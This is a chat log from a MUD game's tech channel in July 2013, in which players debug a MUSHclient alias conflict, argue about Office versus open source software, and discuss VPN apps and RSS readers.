T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. Yahoo is shutting down Astrid.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Hanslanda Tech: what was Astrid?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Web-based to-do manager.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: is there a way to set it to automatically mutiple instead of add when using excel? =Click and Click = adding. Anyway to make it =Click and Click = Multiply? :-) 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: in while loop n
T3/r7/2013-07-06.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oops
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: i'm using mush with aard package. any idea why i keep randomly getting spammed with "You do not know an 'acid wave' spell? i'm not using any alias or nothing. even when i sit still i randomly get it
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I usually start by turning on "echocommands"  see exactly what is being sent to the MUD.  Are you using a spellup client?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: the only thing i'm using is the aard package from the website in mushclient
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: OK then, try the echocommands.  It'll help narrow it down.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: okay..the echo is saying this... "You entered:: cast 'acid wave' data
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: wth?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: haha, well clearly you have a trigger or timer doing it.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: i didn't set anything like that up. don't know how
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: CTRL+SHIFT+8, see anything there?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: just an empty spreadsheet
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: anything under ctrl+shift+0?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: nothing opens when i do that
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: that's zero, not o
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: i assumed that. and no, nothing opens with those keys
T3/r7/2013-07-06.txt.gz:{chan ch=tech}ElFeneri Tech: ctrl-shift-0 doesn't do anything for me either
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Hmmm brings up timers for me I swear!
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: anyways go to game, configure, timers...
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: just another empty spreadsheet
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Don't know then....timers and triggers are the only things that'll send messages to the client without you doing something like for instance adding a plugin.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: it's still doing it. i'm so confused. nothing in any boxes on any of those pages in config
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You can go to "Game, Trace" to turn on trace mode, WARNING: it's spammy.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Then see what is firing right before that is sent to the mud.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: okay. that is spamming executing plugin repaintbuffer script "onplugintick"
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: and randomly says fired unlabelled timer
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: That's normal
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It's very very spammy, what matter is what appears right before you see the errant message.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: what matters...
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: okay. it just did a whole bunch of stuff right before
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: should i paste all that here?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Put it on pastebin if you'd like.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}ElFeneri Tech: paste it on pastebin.com and post the url here
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth crosses his arms and nods slowly and sagely to ElFeneri.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: http://pastebin.com/trZ5am0h
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ok very wierd.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}ElFeneri Tech: that doesn't make sense
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Type "alias" you have any ingame alaises?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Bast Tech: do you have p aliased mudside?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: No it doesn't Elfeneri
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: is there a way to get duels to show communicaton log with mush? 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: i do...it is aliased to acid wave. why would that matter?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Bast Tech: i am guessing you have "p" aliased to "c 'acid wave'"
T3/r7/2013-07-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: ha
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Bast Tech: because the aardwolf mudclient runs "p data" to show your prompt
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Bast Tech: so it can check to see if it has a cr at the end
T3/r7/2013-07-06.txt.gz:{chan ch=tech}ElFeneri Tech: interesting
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: tech okay. it just did something else since i removed the alias
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Bast Tech: unalias "p" or upgrade to the latest version, I think Fiendish fixed that in the later releases
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: The Aardwolf MUSHclient Package has adjusted your prompt and battleprompt to end in '%c'. This is necessary for triggers to work consistently.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: okay. i'll just keep p unaliased. thank you so much. it was so spammy
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: and i've been playing like that since i did a fresh install last week
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Ashordin Tech: but yeah. THANK you
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: anyone know where I can get my hands on a friend rotator script or something, I feel bad having to kick people from my list :-( 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Hanslanda Tech: what would be the point of a rotator?  You're still going to have to kick folk on/off regularly and those you kick off still won't be able to ftalk with you.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: the point of rotator is that it's the offline people that are rotated...
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: so any friends online will be on flist and able to talk
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: Lilleana nods at you in agreement. 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Hanslanda Tech: I wonder if mush can do a plugin for integrated chatting?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: not sure exactly what you mean, but MUSH has an out-of-band chat, not quite sure what you mean by a plugin for integrated chatting
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: if you mean something like a miniwin for a particular channel or tell session where input is also there, then no
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, not possible since we can only receive out-of-band data, not send it
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Hanslanda Tech: well, I was thinking something outside the game, like IM/IRC stuff
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That's doable, yes.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: that's built into MUSHclient, so sure
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: so, no on the rotator? 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: I know quite a few people use them, but don't know of any posted offhand
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I had one, but it's been lost to the depths of my hard drives somewhere
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: with the "friend ago" command, it should be pretty easy to make one
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Just as easy without it, really. Trigger for log off to remove, timer to check friend wannabe, and a consent list, viola
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: hmmm, yeah I've  been told lots of people have them....just can't find any personally. 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: most of them don't kick off on logout, only rotating after some time offline to reduce the number of actives rotated
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, I debated it but the time to build it was reduced significantly if I just removed anyone when they logged off, kept me tons of free slots to play with :P
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: you just do it by hand Cheez? that actually makes sense....
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't unfriending completely remove the target from your list instead of dropping them back down into the not-your-friend zone?  How would you get folk to respond back when you decided to put them back on?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: nah, it was automated
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: yeah, just won't be able to say hi to anyone and longer lag time to get back on list
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: They have to remove me also
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: hans: no
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: there's no relationship between your list and the other person's list...you take off but you're still on theirs
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Lilleana Tech: if you unfriend someone they just go into your wannabe list, unless they drop you as well 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: This can be seen most easily when someone renamed
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: renames*
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Man.... Who had the brilliant idea of making Office 365 not even compatible with vista, let alone xp
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: we call that Microsoft...
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Dread Lord Morinon Tech: Probably the same people with the brilliant idea of trying to sell windows 7 (and if you're on vista, get to 7 ASAP)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Redryn Tech: well they need to give you a reason to upgrade
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Paying for a word processor, weird. Imho.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: I recommend LaTex.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: I said office, not word, Ranrr.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Dread Lord Morinon Tech: LaTex is wonderful, once you learn it.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Dread Lord Morinon Tech: I'll let you know if I ever do.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: s/word processor/office/
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Specifically Access, I'm looking for.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Ok, I couldn't resist.  I tried, but I failed.  "Boys become men, when they learn to use latex." *shame*  It was horrible, and I couldn't help myself, but there it is. :)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: If I want a database, I use a database instead of a gui semi database. Not judging :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Dread Lord Morinon Tech: Yeah, I don't think I've seen any open source version of Access that was worth it.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: So Ranrr, are you suggesting piracy? Or merely some other better replacement?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: No need to pirate software, we have open source. Sqlite or mysql or postgresql works for most needs (small to large, in that order).
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Accept the requirement is for Access.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Except, rather.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: though either way
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Well, then whoever made that requirement will pay the bill for it, so it's not a problem :D
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Except that's not the case for students given the requirements by the teacher/course requirements?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: *shrug*
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: I would protest. But, if the course is in access, I guess you have to choice.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: no choice*
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Medical coding, I believe. Other then that I'm not too sure as its not for me.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: icd9 or icd10?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: If the course is in databases, on the other hand, I would ask to use something more applicable to the real world.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Again vamp, not my course, so I couldn't tell you
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Access is rarely used beyond small pet projects.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: if it could allow me to use https:// or ssl i would totally try it
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Crap.. its not just 365 thats 7/8 onlu... Office 2013 is the same
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Which means going back to Office 2010.. pro. looks like a minimum of about $350
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Schools should have a policy to always use open source software. Saves money, and you are teaching technology anyways, not specific program usage.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Less risk of outdated stuff too.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Except open source software is not typically what you find in the "real world"
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Sure it is.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Rarely.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: "real" world, yes. Corporate world, no.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: That amounts to about the same, Chee.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}DeathSyte Tech: this looks so much like ftalk, how can I change that?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: How many people use Linux instead of Windows or Maxos? Not many.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: colorset
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: MacOS
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger raises his hand.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Linux is the dominating OS of the world.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: For work and for personal use :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Oh? Sources?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Most people have more linux devices than anything else.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That'd be Unix, not Linux
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: I'm talking PCs. Not "devices"
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: I'm talking devices.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Which is not the same thing at all.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: PC's include servers and mainframes, or is that considered a 'device' in these terms?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Hmm. Included - but not really relevant. Lets' call it home/office usage.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: I'm coming from a developer view, though. Linux is the dominating OS for developers. 
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: because the interwebs is run on unix :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: may run on unix, but for pcs its accessed through windows/mac =p
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: home/office is a niche, though, and not something that schools need to teach, imho.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Gonna have to agree with Ranrr, here :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Home/office is a niche? =p Reallly Ranrr?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: In that it's such a small part of the big picture of the tech world, yeah
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: I'm talking PCs, chee
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: I really want to know where these people are doing work at if its not in a home, or office and its PC related.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: the home part is more mobile than not anyways.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Again, PCs.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Not talking mobile devices.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: laptops = PCs
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: We're in the "Post PC Era", PC's are a dying breed and mobile is taking over... 99% of which is Unix/Linux :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: iOS being Unix, Android being Linux
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: hi. what does the weapon switch plugin do?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: tech Heh. One is not a replacement for the other, Chee
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Didn't say it was, but mobile is definitely edging out "PC's"
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Didn't say it wasn't either. But you're not going to sit down with your cell phone to work with spreadsheets and databases.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: most people still have a computer, but also a large populous uses their phones/tablets instead, or primarily, and only use the desktop fro larger activities, or ones not able to be done effectively on an table/phone
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I do :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: You're also a mobile developer.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger shrugs helplessly.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude peers intently at Om Nom Nom Cheezburger.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez can you develop an open vpn app for android that will ignore -rst packets?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Daloran slaps 2/3 Flying VampireDude.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Probably ... you gonna pay me at $48 an hour to do so? :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn. how many hours?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: That's all you charge, chee?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Generally speaking, yeah
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: That average? Seemed lower then I'd expect
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Depends on what kind of upfront costs I have to incur for the client, but that's my average rate, yeah
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: huh. Nice.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So ... hire CB for your projects :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: /SelfPlug
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: As for your last question, Vamp, there's no telling. I'd charge it on a 1099 weekly.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But I'd assume somewhere between 60 and 90.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: meh. that's way too many hours for what i need ^_^ i'll just check the app store again regularly
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You can check all you want, but until there's someone willing to pay, or someone desperate enough to build their own and share it ... it won't spring up like magic :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: shrug =) there's lots of apps in the app store that cost less than 2000 dollars
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: 48*60 hours = > 2000
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: True, but after paying $2000 you could sell said app on the app store at $x*y
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Well, for that rate you'd also be a 40% stake holder, so 40% of profits would be returned. If the app is good enough, and has a market, you'd make your money back
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran that's silly, I don't need to sell an app, I'm an end-user. i'm at a different point of the supply chain
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: So Vamp.... are you saying you don't like money?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Cause thats what it sounds like.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Or I also do direct liscensing where you pay me slightly more and retain 100% of the app
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez well, it's a very short list of openvpn apps on android right now, but i just don't feel like dallying in venture capital merely when i am looking at solutions
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Making 2k on a single app really isn't hard, even fully ad-supported :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It's when you need constant income that it becomes difficult to run a money campaign on :P
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn you think so?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Maybe not a vpn app, though, tbh
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: right, because there's already at least 5 on google play
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Too niche a market to get the penetration to make enough off ads
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: VPN is built in to android though..
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran, how do i make it ignore -rst packets then ? ^^
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: I have both Ice Cream Sandwich, and Cyanogen Mod, and a third android phone with Gingerbread
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: that's the part that becomes hard, and honestly I don't know that you can do it with an unforked android source
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, cyanogen mod is similar to a forked source right
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Meaning, it'd have to be installed at the OEM level ... which means you'd need to get a contract with Samsung, or HTC, or someone like that.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Kind of... in the most lamens of definitions.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: where are the packets coming from, vamp? And why? You declined to answer the other day about your ISP.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez wouldn't an internal tun/tap interface , config file, and a proxy to pipe network traffic through the tun/tap interface be 'just as good' as oem level?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: no
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran oh, i dont know how to check where the packets are coming from.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: At that level, you risk OEM security bounces
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, ah. k :(
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: could someone tell me what the weapon switch plugin is for, and should i disable it, because it is giving me errors.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Wireshark is available on android, isn't it?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: shue its a plugin to switch your weapons.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If not, install root command line and run ngrep
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: k, apt-getting ngrep
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: so should i disable it?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Should be installed on ubuntu
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: shue depends, do you want to switch weapons manually, ?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Since I'm assuming that's what you're using, since you showed an aptitude command..
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: https://play.google.com/store/apps/details?id=lv.n3o.shark&hl=en looks to do the same
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez no, i'm using mint
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Didn't realize mint used aptitude..
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, yep.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: using ngrep itself wants eth0.... lemme go man it to see how to use it on wlan0
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: IIRC it's the -d flag
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: On a Doze box right now though, so can't look
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: -D displays pcap packets it seems
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: bah ill just install that wireshark thing instead
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger snickers softly.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: what is it you're even trying to do, vamp
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: Can anyone recommend a good cross platform (cloud enabled) rss reader, now that google reader is dead?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: I hear TinyRSS is good
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: but means running your own server
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Daloran.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Martini & Tyebald Tech: seemsly poorly named, then.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: poorly named?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran i want to be able to visit https websites and ssl irc.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: from your phone vamp? Are you terhering to a PC? what
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: yeah, tinyrss seems to much of a hassle
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Ah. can't help you then really then Ranrr.. Thats what I'll be setting up when I get there
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: since reader died, i havent had much time to read my feeds anyway, so i ahvent bothered
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ranrr Tech: maybe it's time to stop reading blogs
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: I mostly have. I'll occasionally open up ars, or lifehacker or whatever and just read stories from the front page... but i used to end up with such a queue of unread items it got rediculous
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: at this point I mostly just want it for my webcomics, really
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran yes, like i said before, it's tethered. i also have a mobile broadband card on the same plan
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: what are you using for tethering, Vamp?
